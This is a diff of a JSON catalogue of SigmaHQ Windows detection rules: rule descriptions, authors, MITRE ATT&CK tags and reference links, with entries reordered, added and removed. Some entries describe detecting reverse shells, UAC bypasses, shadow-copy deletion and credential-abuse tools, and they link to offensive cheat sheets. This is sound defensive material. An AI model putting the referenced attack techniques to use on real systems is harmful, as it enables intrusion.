"refs": [ - "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/", "https://dtm.uk/wuauclt/", + "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_wuauclt.yml" ], "tags": [ @@ -45252,8 +44663,8 @@ "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/right-to-left-override/", - "https://www.malwarebytes.com/blog/news/2014/01/the-rtlo-method", "https://unicode-explorer.com/c/202E", + "https://www.malwarebytes.com/blog/news/2014/01/the-rtlo-method", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_right_to_left_override.yml" ], "tags": [ @@ -45287,8 +44698,8 @@ "logsource.product": "windows", "refs": [ "https://www.carbonblack.com/2014/06/10/screenshot-demo-hunt-evil-faster-than-ever-with-carbon-black/", - "https://www.13cubed.com/downloads/windows_process_genealogy_v2.pdf", "https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2", + "https://www.13cubed.com/downloads/windows_process_genealogy_v2.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_proc_wrong_parent.yml" ], "tags": [ @@ -45329,8 +44740,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/", + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_redirect_local_admin_share.yml" ], "tags": "No established tags" @@ -45384,14 +44795,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/keyboardcrunch/SentinelOne-ATTACK-Queries/blob/6a228d23eefe963ca81f2d52f94b815f61ef5ee0/Tactics/DefenseEvasion.md#t1055-process-injection", + "https://twitter.com/gN3mes1s/status/941315826107510784", + "https://github.com/SigmaHQ/sigma/issues/3742", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e", - "https://reaqta.com/2017/12/mavinject-microsoft-injector/", - "https://twitter.com/Hexacorn/status/776122138063409152", - "https://github.com/SigmaHQ/sigma/issues/3742", - "https://twitter.com/gN3mes1s/status/941315826107510784", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.004/T1056.004.md", - "https://github.com/keyboardcrunch/SentinelOne-ATTACK-Queries/blob/6a228d23eefe963ca81f2d52f94b815f61ef5ee0/Tactics/DefenseEvasion.md#t1055-process-injection", + "https://twitter.com/Hexacorn/status/776122138063409152", + "https://reaqta.com/2017/12/mavinject-microsoft-injector/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_mavinject.yml" ], "tags": [ @@ -45433,9 +44844,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Shells/Invoke-PowerShellTcpOneLine.ps1", "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", - "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Shells/Invoke-PowerShellTcpOneLine.ps1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_reverse_shell_connection.yml" ], "tags": [ @@ -45568,8 +44979,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/cyb3rops/status/1562072617552678912", "https://ss64.com/nt/cmd.html", + "https://twitter.com/cyb3rops/status/1562072617552678912", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_no_space_execution.yml" ], "tags": [ @@ -45687,9 +45098,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1", "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", "https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py", - "https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_unquoted_service_search.yml" ], "tags": [ @@ -45744,106 +45155,38 @@ "value": "Suspicious Desktopimgdownldr Command" }, { - "description": "Detects activity mentioned in Operation Wocao report", + "description": "Detects Certipy a tool for Active Directory Certificate Services enumeration and abuse based on PE metadata characteristics and common command line arguments.", "meta": { - "author": "Florian Roth (Nextron Systems), frack113", - "creation_date": "2019/12/20", - "falsepositive": [ - "Administrators that use checkadmin.exe tool to enumerate local administrators" - ], - "filename": "proc_creation_win_apt_wocao.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/SBousseaden/status/1207671369963646976", - "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_wocao.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1012", - "attack.defense_evasion", - "attack.t1036.004", - "attack.t1027", - "attack.execution", - "attack.t1053.005", - "attack.t1059.001" - ] - }, - "related": [ - { - "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "1cfac73c-be78-4f9a-9b08-5bde0c3953ab", - "value": "Operation Wocao Activity" - }, - { - "description": "Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/05/05", + "author": "pH-T (Nextron Systems)", + "creation_date": "2023/04/17", "falsepositive": [ "Unlikely" ], - "filename": "proc_creation_win_malware_pingback_backdoor.yml", + "filename": "proc_creation_win_hktl_certipy.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel", - "https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_pingback_backdoor.yml" + "https://github.com/ly4k/Certipy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_certipy.yml" ], "tags": [ - "attack.persistence", - "attack.t1574.001" + "attack.discovery", + "attack.credential_access", + "attack.t1649" ] }, "related": [ { - "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", + "dest-uuid": "7de1f7ac-5d0c-4c9c-8873-627202205331", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], - "uuid": "b2400ffb-7680-47c0-b08a-098a7de7e7a9", - "value": "Pingback Backdoor Activity" + "uuid": "6938366d-8954-4ddc-baff-c830b3ba8fcd", + "value": "HackTool - Certipy Execution" }, { "description": "Detects potential commandline obfuscation using known escape characters", @@ -45859,10 +45202,10 @@ "logsource.product": "windows", "refs": [ "https://web.archive.org/web/20190213114956/http://www.windowsinspired.com/understanding-the-command-line-string-and-arguments-received-by-a-windows-program/", - "https://twitter.com/Hexacorn/status/885553465417756673", - "https://twitter.com/vysecurity/status/885545634958385153", - "https://www.mandiant.com/resources/blog/obfuscation-wild-targeted-attackers-lead-way-evasion-techniques", "https://twitter.com/Hexacorn/status/885570278637678592", + "https://twitter.com/Hexacorn/status/885553465417756673", + "https://www.mandiant.com/resources/blog/obfuscation-wild-targeted-attackers-lead-way-evasion-techniques", + "https://twitter.com/vysecurity/status/885545634958385153", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cli_obfuscation_escape_char.yml" ], "tags": [ @@ -46053,9 +45396,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#password-spraying-anyone", "https://ss64.com/nt/dsacls.html", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)", - "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#password-spraying-anyone", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_password_spray.yml" ], "tags": [ @@ -46139,8 +45482,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", "https://www.youtube.com/watch?v=ro2QuZTIMBM", + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexesvc.yml" ], "tags": [ @@ -46275,7 +45618,7 @@ { "description": "Detects the execution of netsh commands that configure a new port forwarding (PortProxy) rule", "meta": { - "author": "Florian Roth (Nextron Systems), omkar72, oscd.community", + "author": "Florian Roth (Nextron Systems), omkar72, oscd.community, Swachchhanda Shrawan Poudel", "creation_date": "2019/01/29", "falsepositive": [ "Legitimate administration activity", @@ -46286,9 +45629,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.dfirnotes.net/portproxy_detection/", - "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", "https://adepts.of0x.cc/netsh-portproxy-code/", + "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", + "https://www.dfirnotes.net/portproxy_detection/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_port_forwarding.yml" ], "tags": [ @@ -46475,8 +45818,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.virustotal.com/gui/file/7872d8845a332dce517adae9c3389fde5313ff2fed38c2577f3b498da786db68/behavior", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa", + "https://www.virustotal.com/gui/file/7872d8845a332dce517adae9c3389fde5313ff2fed38c2577f3b498da786db68/behavior", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_double_extension_parent.yml" ], "tags": [ @@ -46509,9 +45852,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://twitter.com/gN3mes1s/status/1222095371175911424", "https://twitter.com/gN3mes1s/status/1222088214581825540", "https://twitter.com/gN3mes1s/status/1222095963789111296", - "https://twitter.com/gN3mes1s/status/1222095371175911424", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dctask64_proc_inject.yml" ], "tags": [ @@ -46544,8 +45887,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Eventvwr/#execute", "https://twitter.com/orange_8361/status/1518970259868626944", + "https://lolbas-project.github.io/lolbas/Binaries/Eventvwr/#execute", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_eventvwr_recentviews.yml" ], "tags": [ @@ -46569,8 +45912,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_import_keys_ads.yml" ], "tags": [ @@ -46639,8 +45982,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", "https://threatpost.com/maze-ransomware-ragnar-locker-virtual-machine/159350/", + "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_virtualbox_execution.yml" ], "tags": [ @@ -46859,8 +46202,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Certutil/", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", + "https://lolbas-project.github.io/lolbas/Binaries/Certutil/", "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_encode.yml" ], @@ -46952,8 +46295,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf", "https://twitter.com/johnlatwc/status/1408062131321270282?s=12", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_eventconsumer_creation.yml" ], "tags": [ @@ -47081,15 +46424,16 @@ "author": "_pete_0, TheDFIRReport", "creation_date": "2022/02/21", "falsepositive": [ - "During Anaconda update the 'conda.exe' process will eventually execution the 'chcp' command." + "During Anaconda update the 'conda.exe' process will eventually execution the 'chcp' command.", + "Discord was seen using chcp to look up code pages" ], "filename": "proc_creation_win_chcp_codepage_lookup.yml", - "level": "high", + "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/chcp", "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/chcp", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chcp_codepage_lookup.yml" ], "tags": [ @@ -47143,64 +46487,6 @@ "uuid": "26488ad0-f9fd-4536-876f-52fea846a2e4", "value": "HackTool - SharPersist Execution" }, - { - "description": "Detects specific process parameters as used by Mustang Panda droppers", - "meta": { - "author": "Florian Roth (Nextron Systems), oscd.community", - "creation_date": "2019/10/30", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_mustangpanda.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/b12cccf3-1c22-4e28-9d3e-c7a6062f3914/", - "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", - "https://app.any.run/tasks/7ca5661d-a67b-43ec-98c1-dd7a8103c256/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_mustangpanda.yml" - ], - "tags": [ - "attack.t1587.001", - "attack.resource_development" - ] - }, - "related": [ - { - "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "2d87d610-d760-45ee-a7e6-7a6f2a65de00", - "value": "Mustang Panda Dropper" - }, - { - "description": "Detects process execution patterns related to Griffon malware as reported by Kaspersky", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/09", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_malware_griffon_patterns.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_griffon_patterns.yml" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "bcc6f179-11cd-4111-a9a6-0fab68515cf7", - "value": "Griffon Malware Attack Pattern" - }, { "description": "Detects Executables in the Downloads folder without FileVersion,Description,Product,Company likely created with py2exe", "meta": { @@ -47248,8 +46534,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/3proxy/3proxy", "https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://github.com/3proxy/3proxy", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_3proxy_execution.yml" ], "tags": [ @@ -47282,10 +46568,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/ReaQta/status/1222548288731217921", - "https://eqllib.readthedocs.io/en/latest/analytics/532b5ed4-7930-11e9-8f5c-d46d6d62a49e.html", "https://lolbas-project.github.io/lolbas/Binaries/Wsreset/", + "https://eqllib.readthedocs.io/en/latest/analytics/532b5ed4-7930-11e9-8f5c-d46d6d62a49e.html", "https://www.activecyber.us/activelabs/windows-uac-bypass", + "https://twitter.com/ReaQta/status/1222548288731217921", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset.yml" ], "tags": [ @@ -47319,9 +46605,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.python.org/3/using/cmdline.html#cmdoption-c", - "https://www.revshells.com/", "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", + "https://www.revshells.com/", + "https://docs.python.org/3/using/cmdline.html#cmdoption-c", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_python_inline_command_execution.yml" ], "tags": [ @@ -47354,8 +46640,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks", + "https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_system.yml" ], "tags": [ @@ -47480,8 +46766,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", "https://nsudo.m2team.org/en-us/", + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_execution_from_high_priv_process.yml" ], "tags": [ @@ -47551,50 +46837,6 @@ "uuid": "903076ff-f442-475a-b667-4f246bcc203b", "value": "Nltest.EXE Execution" }, - { - "description": "Detects a ZxShell start by the called and well-known function name", - "meta": { - "author": "Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro", - "creation_date": "2017/07/20", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_zxshell.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.hybrid-analysis.com/sample/5d2a4cde9fa7c2fdbf39b2e2ffd23378d0c50701a3095d1e91e3cf922d7b0b16?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_zxshell.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.003", - "attack.defense_evasion", - "attack.t1218.011", - "attack.s0412", - "attack.g0001" - ] - }, - "related": [ - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "f0b70adb-0075-43b0-9745-e82a1c608fcc", - "value": "ZxShell Malware" - }, { "description": "Shadow Copies deletion using operating systems utilities", "meta": { @@ -47611,11 +46853,11 @@ "refs": [ "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware", "https://github.com/Neo23x0/Raccine#the-process", - "https://redcanary.com/blog/intelligence-insights-october-2021/", "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/new-teslacrypt-ransomware-arrives-via-spam/", + "https://redcanary.com/blog/intelligence-insights-october-2021/", + "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/gen_ransomware_command_lines.yar", "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/gen_ransomware_command_lines.yar", "https://www.bleepingcomputer.com/news/security/why-everyone-should-disable-vssadmin-exe-now/", "https://blog.talosintelligence.com/2017/05/wannacry.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shadow_copies_deletion.yml" @@ -47727,11 +46969,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://man.openbsd.org/ssh_config#ProxyCommand", - "https://man.openbsd.org/ssh_config#LocalCommand", - "https://lolbas-project.github.io/lolbas/Binaries/Ssh/", - "https://github.com/LOLBAS-Project/LOLBAS/pull/211/files", "https://gtfobins.github.io/gtfobins/ssh/", + "https://man.openbsd.org/ssh_config#LocalCommand", + "https://man.openbsd.org/ssh_config#ProxyCommand", + "https://github.com/LOLBAS-Project/LOLBAS/pull/211/files", + "https://lolbas-project.github.io/lolbas/Binaries/Ssh/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ssh.yml" ], "tags": [ @@ -47751,52 +46993,6 @@ "uuid": "7d6d30b8-5b91-4b90-a891-46cccaf29598", "value": "Lolbin Ssh.exe Use As Proxy" }, - { - "description": "Detects suspicious remote procedure call (RPC) service anomalies based on the spawned sub processes (long shot to detect the exploitation of vulnerabilities like CVE-2022-26809)", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/04/13", - "falsepositive": [ - "Unknown", - "Some cases in which the service spawned a werfault.exe process" - ], - "filename": "proc_creation_win_exploit_cve_2022_26809_rpcss_child_process_anomaly.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.bleepingcomputer.com/startups/RpcSs.exe-14544.html", - "https://www.securonix.com/blog/cve-2022-26809-remote-procedure-call-runtime-remote-code-execution-vulnerability-and-coverage/", - "https://twitter.com/cyb3rops/status/1514217991034097664", - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26809", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2022_26809_rpcss_child_process_anomaly.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "attack.execution", - "attack.t1569.002" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "a7cd7306-df8b-4398-b711-6f3e4935cf16", - "value": "Potential CVE-2022-26809 Exploitation Attempt" - }, { "description": "Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy", "meta": { @@ -47952,9 +47148,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", + "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_execution_from_non_default_location.yml" ], "tags": [ @@ -47978,8 +47174,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://isc.sans.edu/diary/22264", "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://isc.sans.edu/diary/22264", "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download.yml" ], @@ -48010,67 +47206,6 @@ "uuid": "d059842b-6b9d-4ed1-b5c3-5b89143c6ede", "value": "File Download Via Bitsadmin" }, - { - "description": "Detects OilRig activity as reported by Nyotron in their March 2018 report", - "meta": { - "author": "Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2018/03/23", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_oilrig_mar18.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://web.archive.org/web/20180402134442/https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018C.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_oilrig_mar18.yml" - ], - "tags": [ - "attack.persistence", - "attack.g0049", - "attack.t1053.005", - "attack.s0111", - "attack.t1543.003", - "attack.defense_evasion", - "attack.t1112", - "attack.command_and_control", - "attack.t1071.004" - ] - }, - "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "ce6e34ca-966d-41c9-8d93-5b06c8b97a06", - "value": "OilRig APT Activity" - }, { "description": "Detects code execution via the Windows Update client (wuauclt)", "meta": { @@ -48245,40 +47380,6 @@ "uuid": "883835a7-df45-43e4-bf1d-4268768afda4", "value": "Regedit as Trusted Installer" }, - { - "description": "Detects potential process and execution activity related to APT10 Cloud Hopper operation", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/04/07", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_apt10_cloud_hopper.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://web.archive.org/web/20180725233601/https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_apt10_cloud_hopper.yml" - ], - "tags": [ - "attack.execution", - "attack.g0045", - "attack.t1059.005" - ] - }, - "related": [ - { - "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "966e4016-627f-44f7-8341-f394905c361f", - "value": "Potential APT10 Cloud Hopper Activity" - }, { "description": "Detects attackers using tooling with bad opsec defaults.\nE.g. spawning a sacrificial process to inject a capability into the process without taking into account how the process is normally run.\nOne trivial example of this is using rundll32.exe without arguments as a sacrificial process (default in CS, now highlighted by c2lint), running WerFault without arguments (Kraken - credit am0nsec), and other examples.\n", "meta": { @@ -48292,13 +47393,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net-services-installation-tool#feedback", "https://blog.malwarebytes.com/malwarebytes-news/2020/10/kraken-attack-abuses-wer-service/", - "https://twitter.com/CyberRaiju/status/1251492025678983169", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32", - "https://docs.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool", 